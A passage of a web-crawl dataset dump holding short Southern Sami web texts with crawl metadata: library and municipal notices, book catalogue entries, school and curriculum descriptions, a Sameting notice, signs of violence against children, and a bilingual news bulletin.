gyhtjelassh Vuerpesne bïjre? Diedtieh daesnie!\nDov naan gyhtjelassh Polarbibblon bïjre? Tjaelieh mijjese govlehtallemegoerese!\nHåhkesjibie datne lustestallh Polarbibblosne!","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.polarbibblo.se\/sma-se\/maam-mijjen-luvnie-maahtah-darjodh\/","date":"2023-12-06T04:46:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00656.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":208,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Moerh jïh snarrah\nTräd och buskar\nGævnjome åeksieh maehtieh aaj dåeriesmoerh vaedtsijidie jïh trafihkantijidie darjodh. Dan gaavhtan datne goh gåetien aajhtere tjoerh dah åeksieh destie vaeltedh 2,5 mbijjebe vualkemegeajnoste. Dïhte dan gaavhtan guktie dah vaedtsijh jïh syhkeldæjjide eah edtjieh åeksieh ååredæjjese åadtjodh. Vuajamegeajnoen galka4,6 mfrijjes jolledahkem årrodh. Jis maam akt deahpede juktie dah eah vååjnoeh, eah trafihkensjilth vuejnieh jallh lopmebaalemebijlh laarhkene, dellie dov gien lea gåetien aajhteren dïedte. Tjïelten lea, jis geajnoemaarhken aajhtere, reakta åeksieh tjoehpedh jis dåeriesmoerh destie sjïdtieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/vaadtsemegeajnoensjiekedimmie\/moerhjihsnarrah.4.333c64e217718860a2311a7.html","date":"2024-02-26T15:21:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474660.32\/warc\/CC-MAIN-20240226130305-20240226160305-00517.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":79,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Pettersen, John Roald Johansen, Elisabeth Bertije Orkana Vaadtasovvemejaepie 2007 Faage Eatnemelearoe jïh histovrije Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Daaroengïele ISBN 9788281040533 Formaate Sïejhme gærja Reakta-aajhtere Orkana Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 117 Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_sapmi?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:42:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00449.warc.gz","language":"sma","language_score":0.9990757108,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999075710773468}","num_words":54,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"språk\nGun Aira\/ Charlotta Gaebpien-Njaita\/ Marthe Mikkelsen - Åarjelsaemien Vierhtiesåafoe\/ Sørsamisk KunnskapsparkOversatt til sørsamisk av Marja-Meele Päiviö\/ Charlotta Gaebpien-Njaita\nOarjjesáme Åhpadus guovdásj la Aarborten (árra gidá), Nordlánda fylkan várijn Hattena lahkusin.\nÅarjelsaemien Vierhtiesåafoe Aarbortesne, Nordlaante fylhkesne. Aarpije lea vaerie mij lea Aarborten lïhke.\nValla manen jur Aarborten? Aarborten la internáhtta mij lij tuska allahærrá dåhpe nuppát væráltdoaron. Internáhtta l skåvlå guoran. Skåvllå tsieggiduváj 1970-lågon.\nMannasinie Aarborte? Aarbortesne lea internaate mij lij tyske offisersmesse mubpien veartenendåarosne orreme. Internaaten baalte lea skuvlegåetie, dïhte jaepie 1970 taallesne tseegkesovvi.\nSkåvllå sámemánájda Gassko-Vuonan jagen 1951 álgij. Oahppelåhko lij 40-50 oahppe, ja ålles oarjjelsámeguovlos båhtin.\nGaske Nöörjen saemienskuvle jaepie 1951 rïhpesovvi. Learohkelåhkoe lij medtie 40-50 learohkh, jïh learohkh diekie böötin abpe åarjelsaemien dajveste.\nJage 2022 lij skåvlån 70 jahkásaj ávvodibme! Skåvllå l udnátjij tjadádam stuor ietjájduhttemav, goappátjagá oahppelågo, dåjma ja åhpadusvuoge hárráj.\nJaepie 2022 skuvle 70 jaepien heevehti. Skuvle lea gellie jaepie jorkesisnie orreme, learohkelåhkoe, sïelte hammoeh, jïh ööhpehtimmie hammoeh lea jeatjahtehteme.\nSkåvllå l åvddånahttám moatte láhkáj, skåvllåsjalljon la gábmá ja njalla tsieggiduvvam. Digitálalattjat åvddånip viermmedagán buojkulvis Digilær ja LearnLab.\nSkuvle ovmessie vuekiegujmie evtiesåvva. Orre skuvlesjaljoe tseegkesovveminie gusnie derviegåetie jïh buvrie. Digitaale vuekiejgujmie aaj evtedeminie, vuesiehtimmiegaavhtan Digilær jïh Learnlab.\nUddni åhpadip guhkásåhpadimev gålmån gielan oarjjel-, julev- ja nuorttasámegiellaj. Sierra vásstádus julev- ja oarjjelsámegiellaj. Miján li oahppe ålles Vuonas ja Svierigis aj.\nDaen biejjien maajeööpehtimmiem golme gïeline faalijibie. Åarjel, julev jïh noerhtesaemien. Mijjen sjïere dïedte lea juvlev jïh åarjelsaemiengïele. Mijjen leah learohkh gïeh abpe Nöörjeste båetieh, jïh aaj learohkh Sveerjeste.\nMijá lunna l Giellabiesse. Mij åhpadip danen oahppe galggi ållit máhttudakulmijt ja danen galggi åvdedit gielav moatten oahppamvuogij tjadá. Mij oahppijt mánájdáse, gasskadáse ja alladáse milta juohkep.\nMijjen luvnie lea gïeletjåanghkoe goh lissine maajehööhpehtimmesne. Dam faalehtibie guktie learohkh gelkieh maahtoeulmieh jaksedh gïelem evtiedidh gellie ööhpehtimmie vuekine. Mijjieh learoehkidie daltesisnie juekiejibie maanah, gaske- jïh noeredaltese.\nGiellabiesse árbbediehtuj tjalmos. Dåjmajt majt dahkap tjuovvu sámij jagev boatsojbargujn ja jábijt mij la guovddelin. Mij tjoahkkip majt luonndo vaddá ja adnep dav åhpadusán.\nGïeletjåanghkosne learohkh åadtjoeh saemiengïelem jïh saemien aerpiemaahtoem lïeredh. Dah darjomh mah skuvlesne leah dah saemien gaektsie jaepieboelhkh jïh båatsoem dåeriedieh. Mijjieh eatnemem vaarjelibie maam eatneme vadta jïh dam ööhpehtimmesne nuhtjijibie.\nIetjá geldulasj ja miellagiddis dåjma máhtti liehket: Guddnedit Sámij Álmmukbiejvev, Rijkalasj giellavahkko, oassálasstet kultuvrravuolon, ságastit sámij åssko birra ja vil nåv.\nDaebpene aaj saemien åålmehbiejjien jïh gïelevåhkoen heevehtibie. Åadtjoejidie aaj lïeredh saemien voejkene jïh jaahkoen bïjre.\nGiellabiesen lip sådnåbiejvveiehkedis gitta duorastáhkaj. Oahppe årru internáhtan. Miján la bargge birra jánndura, gudi gæhttji gájkajn la buorre. Maŋŋel skåvlå la miján suohtas iehketdåjma degu lávggom, filmma, mássjkudallam, subtsasbåddå ja vil nåv.\nGïeletjåanghkoe aejlegen aalka jïh duarstan orreje. Learohkh internaatesne årroeminie. Desnie barkijh dovne jïjjh jïh bïejh gïeh learoehkidie geehteminie. Skuvlebiejjien mænngan lustestallijibie. Maehtiejibie voejedh, filmen vuartasjidh, vïtnedidh jïh vaajesem lohkedh j.j.\nÆjgáda oadtju diehttelis årrot sijá mánáj siegen Aarborttáj ja internáhtan.\nÅelieaalmetjh aaj åadtjoeh Aarbortese maanine ektine dåeriedidh jïh internaatesne dej ektine årrodh.\nMij gåhttjop æjgádijt skåvllåj jahkásasj \"Rabás biejvve\" ÅSVaj diedo skåvlå dåjmaj birra.\nFïerhten jaepien akten biejjien eejtegidie jïh skuvlide Åarjelsaemien vierhtiesåafose bööri, gusnie mijjieh skuvlen bïjre gaskesadtebe.\nÅSV fállá aj workshopav åvddåskåvlåjda, vuodoskåvlåjda, joarkkaskåvlåjda, álmmukallaskåvlåjda ja allaskåvlåjda. Ij gus gullu geldulasj skåvllå?\nÅSV aaj workshops maanagïertide, skuvlide, jåarhkeskuvlide, åålmehskuvlide jïh jolleskuvlide faala. Mejtie skuvle lustes govloes?\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Govvá\/ Guvvieh\/ Nuotraukos\/ Fotod\/ Bil\/ Photo:\nS1+10: Tone Vollan Tyldum - Åarjelsaemien Vierhtiesåafoe\nS4: Samicultures.com med tillatelse\nS6: Nils Gustav Kappfjell - Åarjelsaemien Vierhtiesåafoe\nS8: Grete Austad - Elever ved Sameskolen, 1957\/58\nS12+16+18+20+22+24+26+28: Åarjelsaemien Vierhtiesåafoe\nS14: Noriko Hasegawa\nwww.samisk365.no\ngaavnoes.no\nRegistrer deg for å lære samisk og delta på gïelebiesie her:\nfirstname.lastname@example.org","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/atlantbib.org\/bm\/%C3%A5arjelsaemien-vierhties%C3%A5afoe-skuvlesne?sourcelang=bm&comparelang=ssme&page=1","date":"2024-02-23T00:21:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00449.warc.gz","language":"sma","language_score":0.9613941312,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9613941311836243, \"smj_Latn_score\": 0.02247532643377781, \"sme_Latn_score\": 0.01492338441312313}","num_words":569,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiengïelesne voestesgïeline dïhte dåaresthfaageles teema monnehke evtiedimmie edtja learoehkidie daajroeh jïh voerkesvoetem vedtedh saemien jieledevuekiej bïjre, jïh aerpievuekien jielemi jïh aarvoej bïjre, jïh guktie daate vååjnesasse båata gïelen tjïrrh jïh ovmessie teekstine learohkh luhkieh. Teekstevåarhkoe edtja voerkesvoetem vedtedh man vihkeles lea saemiej aerpievuekien daajroeh jïh aarvoeh, ektiedimmiem jïh seahkarimmiem eatnamasse jåerhkedh. Laejhtehks ussjedadteme teeksti bijjeli edtja voerkesvoetem vedtedh guktie maahta monnehke evtiedimmiem eevtjedh båetijen aejkien boelvide.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2024-02-29T06:05:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474784.33\/warc\/CC-MAIN-20240229035411-20240229065411-00368.warc.gz","language":"sma","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000100135803223}","num_words":66,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Podcast - Tjïrråejjie jïh Goevjåejjie\nPodcast Sig-Britt Perssonine\nTjïrråejjie jïh Goevjåejjie\nSoptsese göökte gaagketji bïjre gïeh klaaseraejkiem olkese dolvije johkese hajpanigan. Johkine guhkebe guhkebe gåeteste njavvagigan gossege minngemes dan stoere jïengen nualan böötigan jïh destie orre jis gaaranassem orre heamturidie dåeriedigan.\nGïelevåhkoen 2020 Saemien lohkemejarnge, laavenjostosne Sig-Britt Perssonine, åarjelsaemien podcastem bæjhkohte.\n#gïelevåhkoe #podcast","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/en\/node\/509","date":"2024-02-24T12:30:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474533.12\/warc\/CC-MAIN-20240224112548-20240224142548-00757.warc.gz","language":"sma","language_score":0.9981442094,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9981442093849182}","num_words":51,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie tjåanghkan gaektsie aamhtesh gïetedæmman buakta Saemiedigkien stoerretjåanghkosne njoktjen 2024. Daate voestes gïetedimmie reektehtsem bijjemes jïh teemaj mietie vuarjesje, dej tsegkiej mietie mejtie Saetniesvoete- jïh liktemekommisjovne lea identifiseereme. Lissine saemiedigkieraerie jïjtse aamhtesh lutnjie almetjen åasaj jïh jielemen bïjre. Saemiedigkieraerie sæjhta bååstede båetedh stoerretjåanghkose jïjtse aamhtesigujmie, mah gaskem jeatjah dejtie sjïere tsiehkide vuartasjieh mah leah faamosne dejnie voenges saemien dajvine.\nLohkh Saetniesvoete- jïh liktemekommisjovnen reektehtsem Stoerredigkien nedtesæjrosne\nLohkh govlehtimmielahtestimmieh mah sïjse båateme","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/sametinget.no\/saetniesvoete-jih-liktemekommisjovnen-reektehtse\/","date":"2024-03-02T06:57:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475757.50\/warc\/CC-MAIN-20240302052634-20240302082634-00424.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":70,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Væhtah mah vuesiehtieh maanah vædtsoesvoetem jallh daaresjimmieh dååjroeh joekehtedtieh maaneste maanese. Ij leah naan væhtah mah vååjnesasse båetieh ajve vædtsoesvoeten mænngan.\nMaanah mah skearkagimmien tjïrrh narrahtimmieh dååjroeh gellien aejkien, maehtieh daamtaj «tjarke riejriesvoetesne» årrodh iktesth. Maanan aajla dåeriesmoerh åtna sisnjelds baajnehtimmieh tjåanghkan bïejedh jïh guarkedh vaahra lea gaajpanamme.\nDah maehtieh fer eadtjohke sjïdtedh, jïh dååjredh kråahpe staarpa, stråarkan, impulsijve reaksjovnh utnedh jïh hatsves årrodh. Jeatjah maanah maehtieh passijve jïh ealjohts sjïdtedh jïh eah domtesh vuesehth.\nVæhtah maehtieh gellie fåantoeh utnedh\nVæhtide guarkedh kreava mijjieh meatan fulkebe guhkiem jïh maanajgujmie jïh geerve almetjigujmie maanaj bïjre soptsestibie, juktie guarkedh maam væhtah soptsestieh. Gosse vædtsoesvoetem vuepteste, maehtebe daamtaj væhtide vuejnedh mah iktesth lin desnie.\nLæstoe væhtajgujmie vuelielisnie lea dan åvteste akte læstoe mij vuesehte guktie maana maahta symptovmh vædtsoesvoetese, daaresjæmman jallh hoksevaanose vuesiehtidh, men væhtah maehtieh aaj eevre jeatjah fåantoej gaavhtan årrodh.\nNuhtjh dam goh våarome juktie dov tjoeperdimmiem barkoevoelpigujmie jïh laavenjostoeguejmiejgujmie digkiedidh – jïh maanine soptsestidh.\nPsykiske væhtah:\n- Maana varke hielhkehte, lea stråarkan\n- Dåeriesmoerh konsentrasjovnine jïh staarpa\n- Reesmesåvva jïh haarmese sjædta\n- Gyvvene jallh eevre båastode: ij sïjhth gaskesem jïh lïhkesvoetem utnedh\n- Dåeriesmoerh ruvsemehtiejgujmie\n- Jïjtjemse skaarohte\n- Mojhtesem dassa\n- Seassoe evtiedimmie – jallh maana tjiehpiesvoeth dassa maam åtneme (v.g. maana aalka måvhkaj sïjse gadtjedh).\nFysiske væhtah:\n- Plaavemïerhkh\n- Tjelmie- jïh ååredæjjaskaarah\n- Boelehtjimmieskaarah\n- Ahkedh vaejvieh kråahpesne, v.g. tjööjjeste\/åejjeste\n- Skaarah mah rovnegs tjïelkestimmieh utnieh jallh soptsesh jorkesieh\nJis sïjhth vielie lohkedh væhtaj bïjre mah vuesiehtieh maanah vædtsoesvoetem jïh daaresjimmieh dååjroeh, lohkh Voldsveilederen om risikofaktorer og tegn.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.snakkemedbarn.no\/tips-til-samtalen\/maam-edtjebe-vaaksjoestidh-hva-skal-vi-se-etter-sorsamisk\/","date":"2024-02-27T00:42:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00633.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":237,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Rapp, Ole Magnus Pettersen, John Roald Johansen, Elisabeth Bertije Orkana Vaadtasovvemejaepie 2008 Faage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese VGS Jollebe ööhpehtimmie Giele Eenglaantengïele Daaroengïele ISBN 9788281040649 Formaate Sïejhme gærja Reakta-aajhtere Orkana Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 59 Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Healsoe Eatnemefaage Religiovne Aalkoeåålmegi jaahkoe Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_sami-culture-and-history","date":"2024-03-05T13:13:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948235171.95\/warc\/CC-MAIN-20240305124045-20240305154045-00181.warc.gz","language":"sma","language_score":0.9991785288,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9991785287857056}","num_words":66,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BÖÖREDIMMIE GÏELEHAARJANÆMMAN ÅARJELSAEMIEN!\nGaskevåhkoen, voerhtjen 22.b. ts. 10.00 -13.00\nfuelhkiejarngen tjåanghkoetjiehtjielisnie\nDaate akte drop-in kuvsje dejtie mah skïemtje-jïh voeresegåetesne, hïejmesujhtemisnie jïh healsoestasjovnesne berkieh.\nDrop-in-kuvsje sæjhta aelkedh fïerhten bielietæjmoen, jïh jeenjemes bielietæjmoem vaasedh. Dellie datne sïjhth nuepiem utnedh meatan årrodh mij lea barkosne dan biejjien.\nDesnie gïelehaarjanimme sjædta baakoej- jïh raajesigujmie mah maehtieh nuhteligs årrodh maehtedh dov barkosne saemien årrojigujmie jïh utnijigujmie institusjovneste. Datne sïjhth aktem aelhkie baakoelæstoem åadtjodh maam maahtah viehkiedïrreginie nuhtjedh mænngan.\nKuvsjeåvtehke lea Jonhild Joma Raarvihkeste.\nÖörn.: Ektievoete saemien gïelese jïh kultuvrese, Gïelem nastedh jïh Snåasen skïemtjegåetie","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/gielemnastedh.no\/2015\/04\/gielehaarjanimmie-aarjelsaemien\/","date":"2024-02-27T04:21:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474670.19\/warc\/CC-MAIN-20240227021813-20240227051813-00881.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":87,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naeliedehteme\nNaeliedehteme sjugniehtåvva gosse såemies væhtah aktene dåehkesne vuajnalgieh goh vïedteldihkie maadtose, jïh dan åvteste goh ij gåaredh jarkelidh. Baakoe vuesehte dagkerh aerviedamme jallh tjïelke væhtah \"naelie\"-ligke dorjesuvvieh, daate sæjhta jiehtedh seamma leeseldihkie goh dejbaaletji naeliedaajehtse lij. Akte sjyöhtehke vuesiehtimmie maahta årrodh almetjh vienhtieh nöörjen muslijmh, dan åvteste dah leah muslijmh, eah gåessie gih sïjhth demokratijem ellieslaakan dåarjoehtidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/naeliedehteme","date":"2024-02-23T04:50:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00029.warc.gz","language":"sma","language_score":0.9999568462,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999568462371826}","num_words":58,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Norwaco\nNorwaco lea darjojerïektesorganisasjovne mij sekundære nuhtjemem latjkaminie guktie dejtie tjoejide jïh jielije guvvide nuhtjedh.\nLatjkoeh maanajgïerte-, maadth- jïh jåarhkeskuvligujmie dorjelgieh tjïelti jallh fylhkentjïelti baakta, jïh dïhte lea faamosne gaajhkide sijjen byjjes skuvlide.\nBaanth maehtieh barre skuvli ööhpehtimmesne nuhtjelgidh.\nJis ij daejrieh mah dov skuvlen jallh ööhpehtimmieinstitusjovnen naan latjkoe, dellie maahtah Saemiedigkien learoevierhtiesentraalem govlehtidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/artihkal_norwaco","date":"2024-03-01T14:10:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475311.93\/warc\/CC-MAIN-20240301125520-20240301155520-00525.warc.gz","language":"sma","language_score":0.9999688864,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999688863754272}","num_words":54,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem saemiengïelesne voestesgïeline jåa2 – barkoefaageles ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse faageles teemaj jïh ovmessie njaalmeldh jïh tjaaleldh teeksti bijjeli ussjededtieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse faageles teemah goerehtieh laejhtehks gaaltijeåtnojne, jïh dam njaalmeldh jïh tjaaleldh teekstine åehpiedehtieh, gïeline, struktuvrine jïh ektiedimmine mah sjangerasse jïh aajkose sjiehtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh gïelen bïjre nuhtjieh goh systeeme juktie gïelide goerehtidh jïh viertiestidh, jïh gosse laejhtehkslaakan jïjtsh jïh mubpiej njaalmeldh jïh tjaaleldh teeksti bijjeli ussjededtieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh åadtjoeh meatan årrodh tsevtsedh, jïh lïeremelastose jïh kreativiteetese skreejrehtidh jeereldihkie barkoevuekiej tjïrrh gusnie learohkh åadtjoeh vueptiestidh jïh goerehtidh, dovne oktegh jïh mubpiejgujmie ektine. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre saemiengïelesne voestesgïeline, jïh learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh edtjieh nuepiem åadtjodh soptsestidh maam tuhtjieh haalvoeh, jïh jïjtsh evtiedimmien bijjelen faagesne ussjedadtedh. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh sijjen njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv209?lang=sma","date":"2024-02-29T05:50:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474784.33\/warc\/CC-MAIN-20240229035411-20240229065411-00369.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":176,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saernieh: Aalkoekuvsjen minngemes ohtsemebiejjie, vuesiehtimmie Fjällmuseumisnie, tjåanghkoe voeres almetjidie, bïevnesetjåanghkoe maanagïerten goevtesen bïjre.\nDæjstan jïh gaskevåhkoen Nordlaanten fylhkeålma utni ööhpehtimmiekonferanse Tråantesne. Luhkie jaepien åvteste voestes dagkeres konferanse, jïh dle dan åvteste jubileumskonferansen daan jaepien. gieltegs sisvege dej göökte bijjide, gusnie gellieh lohkehtæjjah, maanabarkijh jïh jeatja gïeh saemiengieline berkieh. Måantan iehkeden Åarjelsaemien Teatere dej vuesiehtimmiem utniejin, man nomme Ulven Ylva. Konferanse eelki dæjstan tsåahka luhkie, artistinie Marja Helena Mortensson gie joejkesti.\nDæjstan aamhtese lij dah minngemes luhkie jaepie, mij heannadamme saemien ööhpehtimmesne. Ovmessieh buerkiestimmieh, vg. gïelebiesien bïjre, globalskuvleprosjekte, maahtoelutnjeme maanagïertide, lohkehtæjjaviermie jïh vielie. Gaskevåhkoen aamhtese lij båetije biejjieh, geajnoen mietie. Dellie buerkiestimmieh pedagogeles vïhtesjimmien bïjre, Tråante 2017 jïh vielie.\nHijven konferanse lij, gusnie ovmessie aamhtesh lin lutnjesovveme, mah vihkeles saemien ööhpehtimmesne.\nGadtsegarhkh:\nBåetije dæjstan njoktjen Gadtsegarhkh-tjåanghkoe Plassjesne. Dellie råakebe tjöödtjestimmiesijjesne Småsetresne tsåahka golme. Tjoejkebe ektine destie akte gåatan mij lea laategen lïhke, naaken kilomeeterh tjöödtjestimmiesijjeste, jïh dle dållem bïejebe desnie jïh beapmoem bissebe. Stååkedibie jïh lustestallebe eannan bïjlide vihth tjoejkebe jïh gåetide vuelkebe. Gaajhkh gïeh sijhtieh dåeriedidh maehtieh jïh tryjjes jis dovne aahka aajja, jallh jeatja fuelhkie dåeriedieh. Maanah tjuerieh jïjtse treavkah meatan vaeltedh, jïh bïjvele vaarjoeh. Gadtsegarhken Facebook-sæjrosne maehtede vielie dan bïjre lohkedh. Jïh jis naaken gie dam govloeh eah leah meatan dennie sæjrosne, dle jiehtieh barre munnjien, Ida:se jallh jeatja eejtegasse, dle daam öörnebe. Buerie båeteme dellie tryjjes jïh lustes Gadtsegarhki tjoejkeme-tjåanghkose.\nNyheter:Søknadsfrist nybegynnerkurs, utstilling på Fjällmuseet, eldretreff, informasjonsmøte om barnehageavdeling.\nTirsdag og onsdag arrangerte Fylkesmannen i Nordland sørsamisk opplæringskonferanse i Trondheim. Det er ti år siden den første skolekonferansen og det var derfor jubileumskonferanse i år. Det var i den anledning lagt opp til et ekstra spennende innhold denne konferansen, hvor mange lærere, barnehagearbeider og andre som jobber med samisk språk deltok. Mandag kveld hadde Åarjelsaemien Teatere sin forestilling Ulven Ylva, og tirsdag morgen ble konferansen offisielt åpnet med joik fra Marja Helena Mortensson.\nJubileumskonferansen besto av mange ulike foredrag om blant annet språkbad, kunnskapsheving i\nbarnehage, lærernettverk, pedagogisk dokumentasjon og Tråante 2017. Det var en innholdsrik og spennende konferanse som løftet mange viktige temaer innenfor samisk opplæring.\nGadtsegarhkh:\nKommende tirsdag har Gadtsegarhkh sin mars-samling. Vi treffes da på parkeringen ved Småsetran på Røros klokka tre. Derifra går 